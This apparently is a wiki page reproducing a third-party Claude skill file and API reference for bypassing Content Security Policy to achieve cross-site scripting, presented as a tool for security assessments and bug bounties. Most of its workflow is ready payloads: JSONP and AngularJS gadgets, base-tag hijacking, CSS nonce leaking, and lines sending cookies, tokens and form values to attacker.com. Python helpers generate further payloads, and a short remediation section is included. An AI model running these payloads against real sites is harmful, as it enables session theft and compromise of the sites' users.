{"page":{"pageid":1296,"slug":"skill-cybersec-performing-content-security-policy-bypass","title":"performing-content-security-policy-bypass skill (Anthropic-Cybersecurity-Skills)","content":"**What it does.** Analyze Content-Security-Policy headers and bypass them to achieve cross-site Part of [[skills-anthropic-cybersecurity-skills]] (mukul975/Anthropic-Cybersecurity-Skills).\n\n| | |\n| --- | --- |\n| Upstream | [mukul975/Anthropic-Cybersecurity-Skills](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) |\n| Skill file | [skills/performing-content-security-policy-bypass/SKILL.md](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/HEAD/skills/performing-content-security-policy-bypass/SKILL.md) |\n| License | Apache-2.0 (skill folder LICENSE) |\n| Author | mukul975 |\n| Fetched | 2026-09-10 |\n\n## Install\n\n- `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-content-security-policy-bypass`, or copy the skill folder into `~/.claude/skills/performing-content-security-policy-bypass/`.\n- Raw file: `curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/SKILL.md`\n\n## SKILL.md (verbatim)\n\n```yaml\nname: performing-content-security-policy-bypass\ndescription: Analyze Content-Security-Policy headers and bypass them to achieve cross-site\n  scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri\n  and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without\n  script-src control. Use during web application security assessments or bug bounty\n  hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration\n  for weaknesses.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- csp-bypass\n- content-security-policy\n- xss\n- script-injection\n- nonce-bypass\n- jsonp\n- policy-misconfiguration\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n```\n\n# Performing Content Security Policy Bypass\n\n## When to Use\n- When XSS is found but execution is blocked by Content Security Policy\n- During web application security assessments to evaluate CSP effectiveness\n- When testing the robustness of CSP against known bypass techniques\n- During bug bounty hunting where CSP prevents direct XSS exploitation\n- When auditing CSP header configuration for security weaknesses\n\n## Prerequisites\n- Burp Suite for intercepting responses and analyzing CSP headers\n- CSP Evaluator (Google) for automated policy analysis\n- Understanding of CSP directives (script-src, default-src, style-src, etc.)\n- Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)\n- Browser developer tools for CSP violation monitoring\n- Collection of whitelisted domain JSONP endpoints\n\n## Workflow\n\n### Step 1 — Analyze the CSP Policy\n```bash\n# Extract CSP from response headers\ncurl -sI http://target.com | grep -i \"content-security-policy\"\n\n# Check for CSP in meta tags\ncurl -s http://target.com | grep -i \"content-security-policy\"\n\n# Analyze CSP with Google CSP Evaluator\n# Visit: https://csp-evaluator.withgoogle.com/\n# Paste the CSP policy for automated analysis\n\n# Check for report-only mode (not enforced)\ncurl -sI http://target.com | grep -i \"content-security-policy-report-only\"\n# If only report-only exists, CSP is NOT enforced - XSS works directly\n\n# Parse directive values\n# Example CSP:\n# script-src 'self' 'unsafe-inline' https://cdn.example.com;\n# default-src 'self'; style-src 'self' 'unsafe-inline';\n# img-src *; connect-src 'self'\n```\n\n### Step 2 — Exploit unsafe-inline and unsafe-eval\n```bash\n# If script-src includes 'unsafe-inline':\n# CSP is effectively bypassed for inline scripts\n<script>alert(document.domain)</script>\n<img src=x onerror=\"alert(1)\">\n\n# If script-src includes 'unsafe-eval':\n# eval() and related functions work\n<script>eval('alert(1)')</script>\n<script>setTimeout('alert(1)',0)</script>\n<script>new Function('alert(1)')()</script>\n\n# If 'unsafe-inline' with nonce:\n# unsafe-inline is ignored when nonce is present (CSP3)\n# Focus on nonce leaking instead\n```\n\n### Step 3 — Exploit Whitelisted Domain JSONP Endpoints\n```bash\n# If CSP whitelists a domain with JSONP endpoints:\n# script-src 'self' https://accounts.google.com\n\n# Find JSONP endpoints on whitelisted domains\n# Google:\n<script src=\"https://accounts.google.com/o/oauth2/revoke?callback=alert(1)\"></script>\n\n# Common JSONP endpoints:\n# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//\n# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js\n\n# If AngularJS is whitelisted (CDN):\n# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js\"></script>\n<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>\n\n# Exploit JSONP on whitelisted APIs\n<script src=\"https://whitelisted-api.com/endpoint?callback=alert(1)//\">\n</script>\n```\n\n### Step 4 — Exploit base-uri and Form Action Bypasses\n```bash\n# If base-uri is not restricted:\n# Inject <base> tag to redirect relative script loads\n<base href=\"https://attacker.com/\">\n# All relative script src will load from attacker.com\n\n# If form-action is not restricted:\n# Steal data via form submission\n<form action=\"https://attacker.com/steal\" method=\"POST\">\n  <input name=\"csrf_token\" value=\"\">\n</form>\n<script>document.forms[0].submit()</script>\n\n# If object-src is not restricted:\n# Use Flash or plugin-based XSS\n<object data=\"https://attacker.com/exploit.swf\"></object>\n<embed src=\"https://attacker.com/exploit.swf\">\n```\n\n### Step 5 — Exploit Nonce and Hash Bypasses\n```bash\n# Nonce leaking via CSS attribute selectors\n# If attacker can inject HTML (but not script due to CSP nonce):\n<style>\n  script[nonce^=\"a\"] { background: url(\"https://attacker.com/leak?nonce=a\"); }\n  script[nonce^=\"b\"] { background: url(\"https://attacker.com/leak?nonce=b\"); }\n</style>\n# Brute-force each character position to leak the nonce\n\n# Nonce reuse detection\n# If the same nonce is used across multiple pages or requests:\n# Capture nonce from one page, use it to inject script on another\n\n# DOM clobbering to override nonce checking\n<form id=\"csp\"><input name=\"nonce\" value=\"attacker-controlled\"></form>\n\n# Script gadgets in whitelisted libraries\n# If a whitelisted JS library has a gadget that creates scripts:\n# jQuery: $.getScript(), $.globalEval()\n# Lodash: _.template()\n# DOMPurify bypass via prototype pollution\n\n# Policy injection via reflected parameters\n# If CSP header reflects user input:\n# Inject: ;script-src 'unsafe-inline'\n# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'\n```\n\n### Step 6 — Exploit Data Exfiltration Without script-src\n```bash\n# Even without script execution, data exfiltration is possible:\n\n# Via img-src (if allows external):\n<img src=\"https://attacker.com/steal?data=SENSITIVE_DATA\">\n\n# Via CSS injection (if style-src allows unsafe-inline):\n<style>\ninput[value^=\"a\"] { background: url(\"https://attacker.com/?char=a\"); }\ninput[value^=\"b\"] { background: url(\"https://attacker.com/?char=b\"); }\n</style>\n\n# Via connect-src (if allows external):\n<script nonce=\"valid\">\n  fetch('https://attacker.com/steal?data=' + document.cookie);\n</script>\n\n# Via DNS prefetch:\n<link rel=\"dns-prefetch\" href=\"//data.attacker.com\">\n\n# Via WebRTC (if not blocked):\n# WebRTC can leak data through STUN/TURN servers\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| unsafe-inline | CSP directive allowing inline script execution, defeating XSS protection |\n| Nonce-based CSP | Using random nonces to allow specific scripts while blocking injected ones |\n| JSONP Bypass | Exploiting JSONP endpoints on whitelisted domains to execute attacker callbacks |\n| Policy Injection | Injecting CSP directives through reflected user input in headers |\n| base-uri Hijacking | Redirecting relative script loads by injecting a base element |\n| Script Gadgets | Legitimate library features that can be abused to bypass CSP |\n| CSP Report-Only | Non-enforcing CSP mode that only logs violations without blocking |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| CSP Evaluator | Google tool for analyzing CSP policy weaknesses |\n| Burp Suite | HTTP proxy for CSP header analysis and bypass testing |\n| CSP Scanner | Browser extension for identifying CSP bypass opportunities |\n| csp-bypass | Curated list of CSP bypass techniques and payloads |\n| RetireJS | Identify vulnerable JavaScript libraries on whitelisted CDNs |\n| DOM Invader | Burp tool for testing CSP bypasses through DOM manipulation |\n\n## Common Scenarios\n\n1. **JSONP Callback XSS** — Exploit JSONP endpoints on whitelisted CDN domains to execute JavaScript callbacks containing XSS payloads\n2. **AngularJS Sandbox Escape** — Load AngularJS from whitelisted CDN and use template injection to bypass CSP script restrictions\n3. **Nonce Leakage** — Extract CSP nonce values through CSS injection or DOM clobbering to inject scripts with valid nonces\n4. **Base URI Hijacking** — Inject base element to redirect all relative script loads to attacker-controlled server\n5. **Report-Only Exploitation** — Identify CSP in report-only mode where violations are logged but not blocked, enabling direct XSS\n\n## Output Format\n\n```\n## CSP Bypass Assessment Report\n- **Target**: http://target.com\n- **CSP Mode**: Enforced\n- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'\n\n### CSP Analysis\n| Directive | Value | Risk |\n|-----------|-------|------|\n| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |\n| default-src | 'self' | Moderate |\n| base-uri | Not set | base-uri hijacking possible |\n| object-src | Not set (falls back to default-src) | Low |\n\n### Bypass Techniques Found\n| # | Technique | Payload | Impact |\n|---|-----------|---------|--------|\n| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |\n| 2 | Missing base-uri | <base href=\"https://evil.com/\"> | Script hijack |\n\n### Remediation\n- Remove whitelisted CDN domains; use nonce-based or hash-based CSP\n- Add base-uri 'self' to prevent base element injection\n- Add object-src 'none' to block plugin-based execution\n- Migrate from unsafe-inline to strict nonce-based policy\n- Implement strict-dynamic for modern CSP3 browsers\n```\n\n## Other files in this skill\n\n- [LICENSE](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/LICENSE)\n- [references/api-reference.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/references/api-reference.md)\n- [scripts/agent.py](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-content-security-policy-bypass/scripts/agent.py)\n\n## references/api-reference.md (verbatim)\n\n# API Reference: Content Security Policy (CSP) Bypass Testing\n\n## Libraries Used\n\n| Library | Purpose |\n|---------|---------|\n| `requests` | Fetch target page headers and HTML content |\n| `re` | Parse CSP directives and detect bypass patterns |\n| `json` | Structure findings and report output |\n| `urllib.parse` | Parse and analyze allowed CSP source domains |\n\n## Installation\n\n```bash\npip install requests\n```\n\n## CSP Directive Reference\n\n| Directive | Controls |\n|-----------|----------|\n| `default-src` | Fallback for all resource types |\n| `script-src` | JavaScript execution sources |\n| `style-src` | CSS stylesheet sources |\n| `img-src` | Image sources |\n| `connect-src` | XMLHttpRequest, fetch, WebSocket |\n| `font-src` | Font file sources |\n| `object-src` | Plugin sources (Flash, Java) |\n| `frame-src` | iframe embedding sources |\n| `base-uri` | Controls `<base>` tag URLs |\n| `form-action` | Controls form submission targets |\n| `frame-ancestors` | Controls who can embed this page |\n| `report-uri` | CSP violation report endpoint |\n\n## Core Operations\n\n### Fetch and Parse CSP Header\n```python\nimport requests\nimport re\n\ndef get_csp(url):\n    resp = requests.get(url, timeout=10)\n    csp = resp.headers.get(\"Content-Security-Policy\", \"\")\n    csp_ro = resp.headers.get(\"Content-Security-Policy-Report-Only\", \"\")\n    return {\n        \"url\": url,\n        \"csp\": csp,\n        \"csp_report_only\": csp_ro,\n        \"has_csp\": bool(csp),\n        \"directives\": parse_csp(csp) if csp else {},\n    }\n\ndef parse_csp(csp_string):\n    directives = {}\n    for directive in csp_string.split(\";\"):\n        parts = directive.strip().split()\n        if parts:\n            name = parts[0].lower()\n            values = parts[1:] if len(parts) > 1 else []\n            directives[name] = values\n    return directives\n```\n\n### Analyze CSP for Weaknesses\n```python\nBYPASS_PATTERNS = {\n    \"'unsafe-inline'\": \"Allows inline scripts — XSS bypass\",\n    \"'unsafe-eval'\": \"Allows eval() — code injection bypass\",\n    \"data:\": \"Allows data: URIs — can inject inline content\",\n    \"blob:\": \"Allows blob: URIs — can create executable blobs\",\n    \"*\": \"Wildcard source — no effective restriction\",\n    \"http:\": \"Allows HTTP — mixed content / MITM bypass\",\n}\n\nJSONP_ENDPOINTS = [\n    \"accounts.google.com\", \"ajax.googleapis.com\",\n    \"cdn.jsdelivr.net\", \"cdnjs.cloudflare.com\",\n    \"*.githubusercontent.com\", \"raw.githubusercontent.com\",\n]\n\ndef analyze_csp(directives):\n    findings = []\n\n    # Check for missing critical directives\n    if \"default-src\" not in directives and \"script-src\" not in directives:\n        findings.append({\n            \"directive\": \"script-src\",\n            \"issue\": \"No script-src or default-src — scripts unrestricted\",\n            \"severity\": \"critical\",\n        })\n\n    if \"object-src\" not in directives:\n        findings.append({\n            \"directive\": \"object-src\",\n            \"issue\": \"Missing object-src — plugin-based XSS possible\",\n            \"severity\": \"high\",\n        })\n\n    if \"base-uri\" not in directives:\n        findings.append({\n            \"directive\": \"base-uri\",\n            \"issue\": \"Missing base-uri — base tag injection possible\",\n            \"severity\": \"medium\",\n        })\n\n    # Check each directive for bypass patterns\n    for directive, values in directives.items():\n        for value in values:\n            if value in BYPASS_PATTERNS:\n                findings.append({\n                    \"directive\": directive,\n                    \"value\": value,\n                    \"issue\": BYPASS_PATTERNS[value],\n                    \"severity\": \"high\" if value in (\"'unsafe-inline'\", \"'unsafe-eval'\", \"*\") else \"medium\",\n                })\n\n            # Check for JSONP-hosting CDNs\n            for jsonp_host in JSONP_ENDPOINTS:\n                if jsonp_host in value or value.endswith(jsonp_host):\n                    findings.append({\n                        \"directive\": directive,\n                        \"value\": value,\n                        \"issue\": f\"Allows {jsonp_host} — JSONP/script gadget bypass possible\",\n                        \"severity\": \"high\",\n                    })\n\n    return findings\n```\n\n### Check for Nonce/Hash Based CSP\n```python\ndef check_nonce_hash(directives, html_content):\n    script_src = directives.get(\"script-src\", [])\n\n    nonces = [v for v in script_src if v.startswith(\"'nonce-\")]\n    hashes = [v for v in script_src if v.startswith(\"'sha256-\") or v.startswith(\"'sha384-\")]\n\n    findings = []\n    if nonces:\n        # Check if nonce is reused (static)\n        nonce_value = nonces[0].strip(\"'\").replace(\"nonce-\", \"\")\n        if len(nonce_value) < 16:\n            findings.append({\n                \"issue\": \"Nonce is too short — may be predictable\",\n                \"severity\": \"medium\",\n            })\n\n    if not nonces and not hashes and \"'strict-dynamic'\" not in script_src:\n        if \"'unsafe-inline'\" not in script_src:\n            findings.append({\n                \"issue\": \"No nonce, hash, or strict-dynamic — consider adding\",\n                \"severity\": \"info\",\n            })\n\n    return {\"nonces\": len(nonces), \"hashes\": len(hashes), \"findings\": findings}\n```\n\n### Generate Bypass Payloads\n```python\ndef suggest_bypasses(directives):\n    \"\"\"Suggest CSP bypass techniques based on the policy.\"\"\"\n    bypasses = []\n    script_src = directives.get(\"script-src\", directives.get(\"default-src\", []))\n\n    if \"'unsafe-inline'\" in script_src:\n        bypasses.append({\n            \"technique\": \"Inline script injection\",\n            \"payload\": \"<script>alert(document.domain)</script>\",\n        })\n\n    if \"'unsafe-eval'\" in script_src:\n        bypasses.append({\n            \"technique\": \"eval() injection\",\n            \"payload\": \"<img src=x onerror=\\\"eval(atob('YWxlcnQoMSk='))\\\">\",\n        })\n\n    if any(\"googleapis.com\" in v for v in script_src):\n        bypasses.append({\n            \"technique\": \"Google JSONP callback\",\n            \"payload\": \"<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1)'></script>\",\n        })\n\n    if \"data:\" in script_src:\n        bypasses.append({\n            \"technique\": \"Data URI script\",\n            \"payload\": \"<script src='data:text/javascript,alert(1)'></script>\",\n        })\n\n    return bypasses\n```\n\n## Output Format\n\n```json\n{\n  \"url\": \"https://example.com\",\n  \"has_csp\": true,\n  \"directives_count\": 8,\n  \"findings\": [\n    {\n      \"directive\": \"script-src\",\n      \"value\": \"'unsafe-inline'\",\n      \"issue\": \"Allows inline scripts — XSS bypass\",\n      \"severity\": \"high\"\n    }\n  ],\n  \"bypass_techniques\": 2,\n  \"overall_rating\": \"weak\"\n}\n```\n\nBack to [[skills-anthropic-cybersecurity-skills]] or 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